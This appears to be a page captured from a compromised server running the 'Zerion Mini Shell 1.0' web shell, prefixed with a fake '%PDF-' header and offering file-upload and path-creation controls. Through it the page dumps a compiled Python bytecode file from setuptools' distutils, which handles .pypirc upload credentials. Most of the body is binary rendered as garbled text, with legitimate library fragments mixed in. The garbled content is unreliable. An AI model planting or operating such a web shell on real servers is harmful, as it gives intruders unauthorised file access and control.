%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/setuptools/_distutils/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/setuptools/_distutils/__pycache__/config.cpython-312.pyc

�


_�d/��B�dZddlZddlmZddlmZdZGd�de�Zy)	z�distutils.pypirc

Provides the PyPIRCCommand class, the base class for the command classes
that uses .pypirc in the distutils.command package.
�N)�RawConfigParser�)�CommandzE[distutils]
index-servers =
    pypi

[pypi]
username:%s
password:%s
c�^�eZdZdZdZdZdZdZdddezfdgZd	gZ	d
�Z
d�Zd�Zd
�Z
d�Zd�Zy)�
PyPIRCCommandz6Base command that knows how to handle the .pypirc filezhttps://upload.pypi.org/legacy/�pypiNzrepository=�rzurl of repository [default: %s])�
show-responseNz&display full response text from serverr
c�|�tjjtjjd�d�S)zReturns rc file path.�~z.pypirc)�os�path�join�
expanduser��selfs �>/usr/lib/python3/dist-packages/setuptools/_distutils/config.py�_get_rc_filezPyPIRCCommand._get_rc_file%s&���w�w�|�|�B�G�G�.�.�s�3�Y�?�?�c��|j�}tjtj|tjtj
zd�d�5}|j
t||fz�ddd�y#1swYyxYw)zCreates a default .pypirc file.i��wN)rr
�fdopen�open�O_CREAT�O_WRONLY�write�DEFAULT_PYPIRC)r�username�password�rc�fs     r�
_store_pypirczPyPIRCCommand._store_pypirc)se��
�
�
�
 ��
�Y�Y�r�w�w�r�2�:�:����#;�U�C�S�
I�	;�Q�
�G�G�N�h��%9�9�:�	;�	;�	;�s�A?�?Bc��|j�}tjj|��r�|j	d|z�|j
xs|j}t�}|j|�|j�}d|v�r|jdd�}|jd�D�cgc]%}|j�dk7r|j���'}}|gk(r
d|vrdg}niS|D]�}d|i}|j|d�|d<d	|jfd
|jfdfD]2\}	}
|j||	�r|j||	�||	<�.|
||	<�4|dk(r#||jdfvr|j|d	<|cS|d|k(s	|d	|k(s��|cSiSd|vred}|j|d	�r|j|d	�}n|j}|j|d�|j|d
�|||jd�SiScc}w)zReads the .pypirc file.zUsing PyPI login from %s�	distutilsz
index-servers�
�r�serverr�
repository�realm)rNzserver-loginr)rrr(r'r))rr
r�exists�announcer(�DEFAULT_REPOSITORYr�read�sections�get�split�strip�
DEFAULT_REALM�
has_option)rr r(�configr.�
index_serversr'�_servers�current�key�defaults           r�_read_pypirczPyPIRCCommand._read_pypirc/sK��
�
�
�
 ��
�7�7�>�>�"���M�M�4�r�9�:����C�D�,C�,C�J�$�&�F��K�K��O����(�H��h�&� &�
�
�;�� H�
�#0�"5�"5�d�";����|�|�~��+��L�L�N����
�r�>���)�$*�8�� "�	�&�'�F�'��0�G�*0�*�*�V�Z�*H�G�J�'�&�t�'>�'>�?� �$�"4�"4�5�*�)�3���W�
"�,�,�V�S�9�+1�:�:�f�c�+B�G�C�L�+2�G�C�L�3���'�J��/�/��;�-�15�0G�0G���-�&�� ��)�Z�7�"�<�0�J�>�&��;'�Z�	� �8�+�'���$�$�V�\�:�!'���F�L�!A�J�!%�!8�!8�J� &�
�
�6�:� >� &�
�
�6�:� >�",�$�!�/�/����	��us�4*H
c��ddl}|jdd�}|j|�djdd�}|j	�j|�S)z%Read and decode a PyPI HTTP response.rNzcontent-typez
text/plainr�charset�ascii)�cgi�	getheader�parse_headerr/r-�decode)r�responser>�content_type�encodings     r�_read_pypi_responsez!PyPIRCCommand._read_pypi_responsexsP����)�)�.�,�G���#�#�L�1�!�4�8�8��G�L���}�}��%�%�h�/�/rc�.�d|_d|_d|_y)zInitialize options.Nr)r(r)�
show_responsers r�initialize_optionsz PyPIRCCommand.initialize_options�s�������
���rc�z�|j�|j|_|j�|j|_yy)zFinalizes options.N)r(r,r)r2rs r�finalize_optionszPyPIRCCommand.finalize_options�s5���?�?�"�"�5�5�D�O��:�:���+�+�D�J�r)�__name__�
__module__�__qualname__�__doc__r,r2r(r)�user_options�boolean_optionsrr"r:rErHrJ�rrrrsb��@�:���M��J��E�
��>�AS�S�T�I��L�
'�'�O�@�;�G�R0��,rr)rNr
�configparserr�cmdrrrrQrr�<module>rTs*���

�(����u,�G�u,r

Zerion Mini Shell 1.0